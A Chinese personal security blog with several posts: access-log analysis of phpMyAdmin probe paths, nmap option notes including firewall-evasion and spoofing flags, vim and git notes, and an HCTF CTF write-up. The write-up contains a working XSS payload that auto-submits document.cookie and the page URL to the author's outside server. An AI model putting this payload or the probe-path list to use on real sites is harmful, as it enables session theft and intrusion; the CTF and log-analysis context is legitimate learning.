access_log日志中得到的东西

前言

在以前的360的电话面试中,被问到了日志分析应急。想起以前分析access_log都是grep,然后回答的也是grep加规则来过滤。当然,我这傻逼回答肯定是错的。。。。面试官告诉我,攻击肯定都是被扫过的,所以可以通过awk进行分组,然后通过请求频率来判断源ip,再跟踪ip来进行分析。

正文

小型网站被黑的特点

首先awk太难理解了。。。我还是没理解清楚。。。

一般都是扫描器呀,并且扫描器一般都是head一下就够了,不用完全的请求资源,看下状态码就够了。所以分析的时候,可以用正则

re.findall(r'HEAD (.*?) HTTP',f.readlines())

去筛选东西,然后确实会发现很多记录。下面就是我今天在我日志上找到的别人扫sql-webadmin界面的地址。其实如果是python的扫描器,没定义user-agent,还可以通过记录的user-aget=python script入手。

mysql/admin/
mysql/sqlmanager/
mysql/mysqlmanager/
phpmyadmin/
phpMyadmin/
phpMyAdmin/
phpmyAdmin/
phpmyadmin2/
phpmyadmin3/
phpmyadmin4/
mysql/admin/
mysql/sqlmanager/
mysql/mysqlmanager/
phpmyadmin/
phpMyadmin/
phpMyAdmin/
phpmyAdmin/
phpmyadmin2/
phpmyadmin3/
phpmyadmin4/
2phpmyadmin/
phpmy/
phppma/
myadmin/
shopdb/
MyAdmin/
program/
PMA/
dbadmin/
pma/
db/
admin/
mysql/
database/
db/phpmyadmin/
db/phpMyAdmin/
sqlmanager/
mysqlmanager/
php-myadmin/
phpmy-admin/
mysqladmin/
mysql-admin/
admin/phpmyadmin/
admin/phpMyAdmin/
admin/sysadmin/
admin/sqladmin/
admin/db/
admin/web/
admin/pMA/
mysql/pma/
mysql/db/
mysql/web/
mysql/pMA/
sql/phpmanager/
sql/php-myadmin/
sql/phpmy-admin/
sql/sql/
sql/myadmin/
sql/webadmin/
sql/sqlweb/
sql/websql/
sql/webdb/
sql/sqladmin/
sql/sql-admin/
sql/phpmyadmin2/
sql/phpMyAdmin2/
sql/phpMyAdmin/
db/myadmin/
db/webadmin/
db/dbweb/
db/websql/
db/webdb/
db/dbadmin/
db/db-admin/
db/phpmyadmin3/
db/phpMyAdmin3/
db/phpMyAdmin-3/
administrator/phpmyadmin/
administrator/phpMyAdmin/
administrator/db/
administrator/web/
administrator/pma/
administrator/PMA/
administrator/admin/
phpMyAdmin2/
phpMyAdmin3/
phpMyAdmin4/
phpMyAdmin-3/
php-my-admin/
PMA2012/
pma2012/
PMA2011/
pma2011/
phpmanager/
mysql/admin/
mysql/sqlmanager/
mysql/mysqlmanager/
phpmyadmin/
phpMyadmin/
phpMyAdmin/
phpmyAdmin/
phpmyadmin2/
phpmyadmin3/
phpmyadmin4/
2phpmyadmin/
phpmy/
phppma/
myadmin/
shopdb/
MyAdmin/
program/
PMA/
dbadmin/
pma/
db/
admin/
mysql/
database/
db/phpmyadmin/
db/phpMyAdmin/
sqlmanager/
mysqlmanager/
php-myadmin/
phpmy-admin/
mysqladmin/
mysql-admin/
admin/phpmyadmin/
admin/phpMyAdmin/
admin/sysadmin/
admin/sqladmin/
admin/db/
admin/web/
admin/pMA/
mysql/pma/
mysql/db/
mysql/web/
mysql/pMA/
sql/phpmanager/
sql/php-myadmin/
sql/phpmy-admin/
sql/sql/
sql/myadmin/
sql/webadmin/
sql/sqlweb/
sql/websql/
sql/webdb/
sql/sqladmin/
sql/sql-admin/
sql/phpmyadmin2/
sql/phpMyAdmin2/
sql/phpMyAdmin/
db/myadmin/
db/webadmin/
db/dbweb/
db/websql/
db/webdb/
db/dbadmin/
db/db-admin/
db/phpmyadmin3/
db/phpMyAdmin3/
db/phpMyAdmin-3/
administrator/phpmyadmin/
administrator/phpMyAdmin/
administrator/db/
administrator/web/
administrator/pma/
administrator/PMA/
administrator/admin/
phpMyAdmin2/
phpMyAdmin3/
phpMyAdmin4/
phpMyAdmin-3/
php-my-admin/
PMA2012/
pma2012/
PMA2011/
pma2011/
phpmanager/
mysql/admin/
mysql/sqlmanager/
mysql/mysqlmanager/
phpmyadmin/
phpMyadmin/
phpMyAdmin/
phpmyAdmin/
phpmyadmin2/
phpmyadmin3/
phpmyadmin4/
2phpmyadmin/
phpmy/
phppma/
myadmin/
shopdb/
MyAdmin/
program/
PMA/
dbadmin/
pma/
db/
admin/
mysql/
database/
db/phpmyadmin/
db/phpMyAdmin/
sqlmanager/
mysqlmanager/
phpmy-admin/
mysqladmin/
mysql-admin/
admin/phpmyadmin/
admin/phpMyAdmin/
admin/sysadmin/
admin/sqladmin/
admin/db/
admin/web/
admin/pMA/
mysql/pma/
mysql/db/
mysql/web/
mysql/pMA/
sql/phpmanager/
sql/php-myadmin/
sql/phpmy-admin/
sql/sql/
sql/myadmin/
sql/webadmin/
sql/websql/
sql/webdb/
sql/sqladmin/
sql/sql-admin/
sql/phpmyadmin2/
sql/phpMyAdmin2/
sql/phpMyAdmin/
db/myadmin/
db/webadmin/
db/dbweb/
db/websql/
db/webdb/
db/dbadmin/
db/phpmyadmin3/
db/phpMyAdmin3/
db/phpMyAdmin-3/
administrator/phpmyadmin/
administrator/phpMyAdmin/
administrator/db/
administrator/web/
administrator/pma/
administrator/PMA/
administrator/admin/
phpMyAdmin2/
phpMyAdmin3/
phpMyAdmin4/
phpMyAdmin-3/
php-my-admin/
PMA2012/
pma2012/
PMA2011/
pma2011/
phpmanager/
mysql/admin/
mysql/sqlmanager/
mysql/mysqlmanager/
phpmyadmin/
phpMyadmin/
phpMyAdmin/
phpmyAdmin/
phpmyadmin2/
phpmyadmin3/
phpmyadmin4/
2phpmyadmin/
wp-content/plugins/portable-phpmyadmin/wp-pma-mod/
phpmy/
phppma/
myadmin/
shopdb/
MyAdmin/
program/
PMA/
dbadmin/
pma/
db/
admin/
mysql/
database/
db/phpmyadmin/
db/phpMyAdmin/
sqlmanager/
mysqlmanager/
php-myadmin/
phpmy-admin/
mysqladmin/
mysql-admin/
admin/phpmyadmin/
admin/phpMyAdmin/
admin/sysadmin/
admin/sqladmin/
admin/db/
admin/web/
admin/pMA/
mysql/pma/
mysql/db/
mysql/web/
mysql/pMA/
sql/phpmanager/
sql/php-myadmin/
sql/phpmy-admin/
sql/sql/
sql/myadmin/
sql/webadmin/
sql/sqlweb/
sql/websql/
sql/webdb/
sql/sqladmin/
sql/sql-admin/
sql/phpmyadmin2/
sql/phpMyAdmin2/
sql/phpMyAdmin/
db/myadmin/
db/webadmin/
db/dbweb/
db/websql/
db/webdb/
db/dbadmin/
db/db-admin/
db/phpmyadmin3/
db/phpMyAdmin3/
db/phpMyAdmin-3/
administrator/phpmyadmin/
administrator/phpMyAdmin/
administrator/db/
administrator/web/
administrator/pma/
administrator/PMA/
administrator/admin/
phpMyAdmin2/
phpMyAdmin3/
phpMyAdmin4/
phpMyAdmin-3/
php-my-admin/
PMA2011/
PMA2012/
PMA2013/
PMA2014/
PMA2015/
PMA2016/
PMA2017/
PMA2018/
pma2011/
pma2012/
pma2013/
pma2014/
pma2015/
pma2016/
pma2017/
pma2018/
phpmyadmin2011/
phpmyadmin2012/
phpmyadmin2013/
phpmyadmin2014/
phpmyadmin2015/
phpmyadmin2016/
phpmyadmin2017/
phpmyadmin2018/
phpmanager/
mysql/admin/
mysql/sqlmanager/
mysql/mysqlmanager/
phpmyadmin/
phpMyadmin/
phpMyAdmin/
phpmyAdmin/
phpmyadmin2/
phpmyadmin3/
phpmyadmin4/
2phpmyadmin/
wp-content/plugins/portable-phpmyadmin/wp-pma-mod/
phpmy/
phppma/
myadmin/
shopdb/
MyAdmin/
program/
PMA/
dbadmin/
pma/
db/
admin/
mysql/
database/
db/phpmyadmin/
db/phpMyAdmin/
sqlmanager/
mysqlmanager/
php-myadmin/
phpmy-admin/
mysqladmin/
mysql-admin/
admin/phpmyadmin/
admin/phpMyAdmin/
admin/sysadmin/
admin/sqladmin/
admin/db/
admin/web/
admin/pMA/
mysql/pma/
mysql/db/
mysql/web/
mysql/pMA/
sql/phpmanager/
sql/php-myadmin/
sql/phpmy-admin/
sql/sql/
sql/myadmin/
sql/webadmin/
sql/sqlweb/
sql/websql/
sql/webdb/
sql/sqladmin/
sql/sql-admin/
sql/phpmyadmin2/
sql/phpMyAdmin2/
sql/phpMyAdmin/
db/myadmin/
db/webadmin/
db/dbweb/
db/websql/
db/webdb/
db/dbadmin/
db/db-admin/
db/phpmyadmin3/
db/phpMyAdmin3/
db/phpMyAdmin-3/
administrator/phpmyadmin/
administrator/phpMyAdmin/
administrator/db/
administrator/web/
administrator/pma/
administrator/PMA/
administrator/admin/
phpMyAdmin2/
phpMyAdmin3/
phpMyAdmin4/
phpMyAdmin-3/
php-my-admin/
PMA2011/
PMA2012/
PMA2013/
PMA2014/
PMA2015/
PMA2016/
PMA2017/
PMA2018/
pma2011/
pma2012/
pma2013/
pma2014/
pma2015/
pma2016/
pma2017/
pma2018/
phpmyadmin2011/
phpmyadmin2012/
phpmyadmin2013/
phpmyadmin2014/
phpmyadmin2015/
phpmyadmin2016/
phpmyadmin2017/
phpmyadmin2018/
phpmanager/
mysql/admin/
mysql/sqlmanager/
mysql/mysqlmanager/
phpmyadmin/
phpMyadmin/
phpMyAdmin/
phpmyAdmin/
phpmyadmin2/
phpmyadmin3/
phpmyadmin4/
2phpmyadmin/
wp-content/plugins/portable-phpmyadmin/wp-pma-mod/
phpmy/
phppma/
myadmin/
shopdb/
MyAdmin/
program/
PMA/
dbadmin/
pma/
db/
admin/
mysql/
database/
db/phpmyadmin/
db/phpMyAdmin/
sqlmanager/
mysqlmanager/
php-myadmin/
phpmy-admin/
mysqladmin/
mysql-admin/
admin/phpmyadmin/
admin/phpMyAdmin/
admin/sysadmin/
admin/sqladmin/
admin/db/
admin/web/
admin/pMA/
mysql/pma/
mysql/db/
mysql/web/
mysql/pMA/
sql/phpmanager/
sql/php-myadmin/
sql/phpmy-admin/
sql/sql/
sql/myadmin/
sql/webadmin/
sql/sqlweb/
sql/websql/
sql/webdb/
sql/sqladmin/
sql/sql-admin/
sql/phpmyadmin2/
sql/phpMyAdmin2/
sql/phpMyAdmin/
db/myadmin/
db/webadmin/
db/dbweb/
db/websql/
db/webdb/
db/dbadmin/
db/db-admin/
db/phpmyadmin3/
db/phpMyAdmin3/
db/phpMyAdmin-3/
administrator/phpmyadmin/
administrator/phpMyAdmin/
administrator/db/
administrator/web/
administrator/pma/
administrator/PMA/
administrator/admin/
phpMyAdmin2/
phpMyAdmin3/
phpMyAdmin4/
phpMyAdmin-3/
php-my-admin/
PMA2011/
PMA2012/
PMA2013/
PMA2014/
PMA2015/
PMA2016/
PMA2017/
PMA2018/
pma2011/
pma2012/
pma2013/
pma2014/
pma2015/
pma2016/
pma2017/
pma2018/
phpmyadmin2011/
phpmyadmin2012/
phpmyadmin2013/
phpmyadmin2014/
phpmyadmin2015/
phpmyadmin2016/
phpmyadmin2017/
phpmyadmin2018/
phpmanager/

未完待续。

NMAP_USER_GUIDE

nmap



nmap简介

nmap 网络探测工具和安全/端口扫描器


大纲

nmap [ <扫描类型> ...] [ <选项> ]{ <扫描目标说明> }

描述

nmap扫描结果的四种状态
open 开放
filtered 被过滤的
closed 关闭的
unfiltered 未被过滤的
open | filtered
closed | filtered

filtered和unfiltered的区别

  • filtered 是指当nmap探测时,端口因为防火墙或者网络阻碍等原因被阻止。
  • unfiltered 是指端口对Nmap的探测作出了响应,但是Nmap不能识别他是open还是close的。

    选项概要

    # Single target scan:
    nmap [target]
    
    # Scan from a list of targets:
    nmap -iL [list.txt]
    
    # iPv6:
    nmap -6 [target]
    
    # OS detection:
    nmap -O --osscan_guess [target]
    
    # Save output to text file:
    nmap -oN [output.txt] [target]
    
    # Save output to xml file:
    nmap -oX [output.xml] [target]
    
    # Scan a specific port:
    nmap -source-port [port] [target]
    
    # Do an aggressive scan:
    nmap -A [target]
    
    # Speedup your scan:
    # -n => disable ReverseDNS
    # --min-rate=X => min X packets / sec
    nmap -T5 --min-parallelism=50 -n --min-rate=300 [target]
    
    # Traceroute:
    nmap -traceroute [target]
    
    # Ping scan only: -sP
    # Don't ping:     -PN <- Use full if a host don't reply to a ping.
    # TCP SYN ping:   -PS
    # TCP ACK ping:   -PA
    # UDP ping:       -PU
    # ARP ping:       -PR
    
    # Example: Ping scan all machines on a class C network
    nmap -sP 192.168.0.0/24
    
    # Force TCP scan: -sT
    # Force UDP scan: -sU
    
    # Use some script:
    nmap --script default,safe
    
    # Loads the script in the default category, the banner script, and all .nse files in the directory /home/user/customscripts.
    nmap --script default,banner,/home/user/customscripts
    
    # Loads all scripts whose name starts with http-, such as http-auth and http-open-proxy.
    nmap --script 'http-*'
    
    # Loads every script except for those in the intrusive category.
    nmap --script "not intrusive"
    
    # Loads those scripts that are in both the default and safe categories.
    nmap --script "default and safe"
    
    # Loads scripts in the default, safe, or intrusive categories, except for those whose names start with http-.
    nmap --script "(default or safe or intrusive) and not http-*"
    
    # Scan for the heartbleed
    # -pT:443 => Scan only port 443 with TCP (T:)
    nmap -T5 --min-parallelism=50 -n --script "ssl-heartbleed" -pT:443 127.0.0.1
    
    # Show all informations (debug mode)
    nmap -d ...
    
    Usage: nmap [Scan Type(s)] [Options] {target specification}
    TARGET SPECIFICATION:
      Can pass hostnames, IP addresses, networks, etc.
      Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0-255.0-255.1-254
      -iL <inputfilename>: Input from list of hosts/networks
      -iR <num hosts>: Choose random targets
      --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
      --excludefile <exclude_file>: Exclude list from file
    HOST DISCOVERY:
      -sL: List Scan - simply list targets to scan
      -sP: Ping Scan - go no further than determining if host is online
      -P0: Treat all hosts as online -- skip host discovery
      -PS/PA/PU [portlist]: TCP SYN/ACK or UDP discovery probes to given ports
      -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
      -n/-R: Never do DNS resolution/Always resolve [default: sometimes resolve]
    SCAN TECHNIQUES:
      -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
      -sN/sF/sX: TCP Null, FIN, and Xmas scans
      --scanflags <flags>: Customize TCP scan flags
      -sI <zombie host[:probeport]>: Idlescan
      -sO: IP protocol scan
      -b <ftp relay host>: FTP bounce scan
    PORT SPECIFICATION AND SCAN ORDER:
      -p <port ranges>: Only scan specified ports
        Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080
      -F: Fast - Scan only the ports listed in the nmap-services file)
      -r: Scan ports consecutively - don't randomize
    SERVICE/VERSION DETECTION:
      -sV: Probe open ports to determine service/version info
      --version-light: Limit to most likely probes for faster identification
      --version-all: Try every single probe for version detection
      --version-trace: Show detailed version scan activity (for debugging)
    OS DETECTION:
      -O: Enable OS detection
      --osscan-limit: Limit OS detection to promising targets
      --osscan-guess: Guess OS more aggressively
    TIMING AND PERFORMANCE:
      -T[0-6]: Set timing template (higher is faster)
      --min-hostgroup/max-hostgroup <msec>: Parallel host scan group sizes
      --min-parallelism/max-parallelism <msec>: Probe parallelization
      --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <msec>: Specifies
          probe round trip time.
      --host-timeout <msec>: Give up on target after this long
      --scan-delay/--max-scan-delay <msec>: Adjust delay between probes
    FIREWALL/IDS EVASION AND SPOOFING:
      -f; --mtu <val>: fragment packets (optionally w/given MTU)
      -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
      -S <IP_Address>: Spoof source address
      -e <iface>: Use specified interface
      -g/--source-port <portnum>: Use given port number
      --data-length <num>: Append random data to sent packets
      --ttl <val>: Set IP time-to-live field
      --spoof-mac <mac address, prefix, or vendor name>: Spoof your MAC address
    OUTPUT:
      -oN/-oX/-oS/-oG <file>: Output scan results in normal, XML, s|<rIpt kIddi3,
         and Grepable format, respectively, to the given filename.
      -oA <basename>: Output in the three major formats at once
      -v: Increase verbosity level (use twice for more effect)
      -d[level]: Set or increase debugging level (Up to 9 is meaningful)
      --packet-trace: Show all packets sent and received
      --iflist: Print host interfaces and routes (for debugging)
      --append-output: Append to rather than clobber specified output files
      --resume <filename>: Resume an aborted scan
      --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
      --no-stylesheet: Prevent Nmap from associating XSL stylesheet w/XML output
    MISC:
      -6: Enable IPv6 scanning
      -A: Enables OS detection and Version detection
      --datadir <dirname>: Specify custom Nmap data file location
      --send-eth/--send-ip: Send packets using raw ethernet frames or IP packets
      --privileged: Assume that the user is fully privileged
      -V: Print version number
      -h: Print this help summary page.
    EXAMPLES:
      nmap -v -A scanme.nmap.org
      nmap -v -sP 192.168.0.0/16 10.0.0.0/8
      nmap -v -iR 10000 -P0 -p 80
    

    目标说明(target specification)

    nmap支持CIDR风格的地址,也支持192.168.0.0-24这种格式。IPv6地址只能用贵方的IPv6地址或主机名指定。CIDR和八位字节范围不知吃IPv6。

    目标选项:

    1. -iL < inputfilename > (从列表中输入)

      • 从文件中选取目标。
    2. -iR < host num >(随机选择目标)

    3. --exclude < host1[,host2[,host3],...] >(排除选中的主机)

      • host 可以是主机名,CIDR,八位字节范围。
    4. --excludefile < excludefile>(排除文件中的列表)

      • 排除文件中\n,<tab>,空格分割的主机地址。

    端口扫描技术

    一般只用一种方法,除了UDP(-sU)可能和任何一种TCP扫描类型结合使用。端口扫描类型的选项格式是-s<C>,其中C是一个很显眼的字符。默认情况下,Nmap执行一个SYN扫描。

    OPTIONS:

    1. -sS(TCP SYN扫描)
      • SYN扫描是默认扫描选项,被称为半开放扫描。SYN扫描相对来说不张扬,不易被注意到,因为它从来不完成TCP链接,(SYN扫描通常需要shell有root权限)。
    2. -sT(TCP connect()扫描)
      • 当SYN扫描不能使用时,CP connect()扫描就是默认的TCP扫描。
    3. -sU(UDP扫描)
    4. -sN;-sF;-sX(TCP NULL,FIN,and Xmas扫描)
      • 不常用,我也不理解。
    5. -sA(TCP ACK扫描)
      • 这个扫描选项不能确定端口是open还是open|filtered的。它用于发现防火墙规则,确定它们是有状态还是无状态的,哪些端口是被过滤的。
    6. -sW(TCP窗口扫描)
      • 不理解。
    7. -scanflags(定制TCP扫描)
    8. -sI < zombie host[:probeport] >(ldlescan)
      • 不理解。
    9. -s0(IP协议扫描)
      • 可以确定目标主机支持哪些IP协议(TCP,ICMP,IGMP,等等)。
    10. -b <ftp relay host>(FTP弹跳扫描)
      • 官网辣鸡翻译!

    端口说明和扫描顺序

    默认情况下nmap用指定的协议扫描1-1024端口和nmap-services文件中列出的高端口进行扫描

    1. -p <port ranges>(只扫描指定的端口)
      • 当既扫描TCP端口又扫描UDP的时候,可以在端口号前加T:表示TCP扫描的端口,U:表示UDP扫描的端口。注意的是既扫描UDP又扫描TCP时必须置顶-sU ,已经一个TCP扫描类型(-sS,-sF,-sT)。如果没有给定协议限定符,端口号会同时加到TCP,UDP扫描列表。
    2. -F(快速扫描)
    3. -r(端口随机顺序扫描)
      • 默认情况下,nmap随机扫描端口(常用端口nmap会放在前面扫描)。用这命令的人脑子有病吧。。。

    服务与版本探测

    1. -sV(版本探测)
      • 打开版本探测。可以使用-A同时打开操作系统探测和版本探测。
    2. -sR(RPC扫描)
      • 很少使用。我也不晓得干什么的。。个人觉得-sV -O就够用了。

    操作系统探测

    • -O操作系统检测
    • --osscan-guess,--fuzzy(推测操作系统检测结果)
      • 当nmap无法确定所检测的操作系统时,会尽可能的提供最相近的匹配。nmap默认开启此项功能。
  • VIM 的使用。。

    光标移动

    h(←) , j(↓) , k(↑) , l(→)控制光标的移动。

    编辑之类

    基本插入

    i      insert插入
    
    o      在光标下方插入新的一行
    
    O      在光标上方插入新的一行
    
    a      在当前光标处后进行添加,建议用insert
    
    A      在光标所在行末尾进行添加,默认空一格字符
    

    删除之类

    dw     删除当前光标所在位置与下一个空格之间的所有word(包括空格)
    
    d$     从光标出删除直到当前行末尾
    
    de     从当前光标位置删除到单词末尾(不包含末尾空格)
    
    ***dw de 中间可插入数字进行操作。例如 d2w d3e
    
    dd     删除光标所在当前行。与数字配合使用有2dd d2d 等等形式
    
    u      撤销以前的操作(分布进行)
    U      恢复到该行的初始状态。
    control+r  取消撤销命令
    

    置入类命令

    p     将vim缓存中的东西,置入当前光标所在行的下一行
    
    r(R)  单字替换(R,从光标位置一直替换直到esc)
    
    cw(ce)   改变光标所在处直到下一个空格(会删除之间的字母,不包含空格)
    
    c2$   从当前光标开始更改到第二行光标末尾(会删除之间的字母)。
    
    

    定位

    control+g    显示当前所在行。
    G    跳到末尾行
    gg   回到第一行
    545G   跳到545行
    control+o  回到跳转之前的行,重复,回退更多步
    control+i  回退到某行后,可以用此回到当前工作行 
    

    搜索

    /word    正向搜索word内容
    ?word    反向搜索word内容
    %        一般用于括号处,匹配下一个括号。但代码编辑时,括号一般会自动匹配
    # n 下一次正向查找 
    # N 反向查找下一次
    

    复制,粘贴

    1.v    进入可视模式
    2.hjkl 移动光标进行选择
    3.y    添加选择的文本到内存中,可视模式消失
    4.p    复制到光标之后的位置
    

    HCTF一道web题学到的新姿势

    彩笔一个。感觉其中一道xss的题目学到了新的姿势,挺有意思的。

    QQ20161127-0@2x.png

    首先是提交的时候一个MD5的碰撞,写个脚本就好了。1s就能碰撞出来。
    然后抓包提交message。一段时间内,这个验证是不会立即失效。

    <?php
    $captcha=$_GET['md5'];
    while(1){
            $str="`1234567890";
            $str+="-=~!@#$%^&*()_+]"; 
            $str+="[poiuytrewqas";
            $str+="dfghjkl;'/.,mn";
            $str+="bvcxzZXCVBNM<>?:"
            $str+="LKJHGFDSAQWERTYUIOP{}|";
            $daima="$pass=$str[rand(0,90)].$str[rand(0,90)]";  
            $daima+=".$str[rand(0,90)].$str[rand(0,90)].$str[rand(0,90)]";
            eval($daima); //终于对齐了
            $scert=substr(md5($pass),0,4);
            if($scert==$captcha) {
                    echo "found ".$pass."       md5 is :".$scert."\n";
                    break;
            }
    }
    ?>
    

    QQ20161127-1@2x.png

    发现script on img 等全被过滤

    QQ20161127-2@2x.png

    包含轻松绕过。那么我们的重点也就来了,看http头

    QQ20161127-3@2x.png

    发现了Content-Security-Policy这个东西。什么是CSP呢

    以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护,但是他也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。这些问题阻碍CSP的普及,如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整,本文研究的技术可以自动化分离代码和数据,帮助网站支持CSP技术避免潜在的跨站攻击。

    以上来自百度百科。我的简短理解就是,浏览器允许加载白名单以内的css资源,js资源,img资源,等等一切能在网页上显示的资源。所以我们如果这里直接远程加载xss平台的代码话,不会直接执行。

    这里有一篇英文。Please ClickMe

    既然不能加载信息。我们可以发送请求啊。于是就有了以下的payload

    <script>
    function sub(){
        document.getElementById("key").value=document.cookie;
        document.getElementById("url").value=location.href;
        document.pass.submit();
    }
    setTimeout(sub,1);
    
    </script>
    <form name="pass" action="http://anx1ang.win/index.php" method="GET">
    <input id="key" type=hidden name="cookie"  />
    <input id="url" type=hidden name="url">
    </form>
    

    比较坑的是前面提到的过滤了script on 所以这里的on 和script 都有多写两次,这里为了看着顺眼,就不多写啦。
    回自己的vps查看log
    QQ20161127-4@2x.png

    页面带上cookie后,成功得到flag
    QQ20161127-6@2x.png

    Github的使用笔记

    github是一个很好的代码仓库,由于自己经常忘记怎么使用,今晚上做个使用笔记吧。。。

    git init //在本地创建一个新的git仓库。
    QQ20161124-0@2x.png

    git add FILE //将文件添加到仓库当中

    git commit -m "说明性文字" //为当前的改动提交到仓库中,并生成一个历史版本号。

    git log //查看版本记录.主要是用来回退到以前的某个版本
    QQ20161124-1@2x.png

    git reflog //查看历史命令.主要是从未来回到以前的你,又想回到未来的时候用的。
    QQ20161124-0@2x.png

    git reset --hard ID_COMMIT //回退到提交的某个版本(ID号).

    git status //显示当前改动版本改动信息(未commit)
    QQ20161124-2@2x.png

    git rm FILE //会从本地删除文件。如果没有将文件commit,那么就跟rm命令差不多。

    git clone ADDRESS //clone到本地

    未完待更新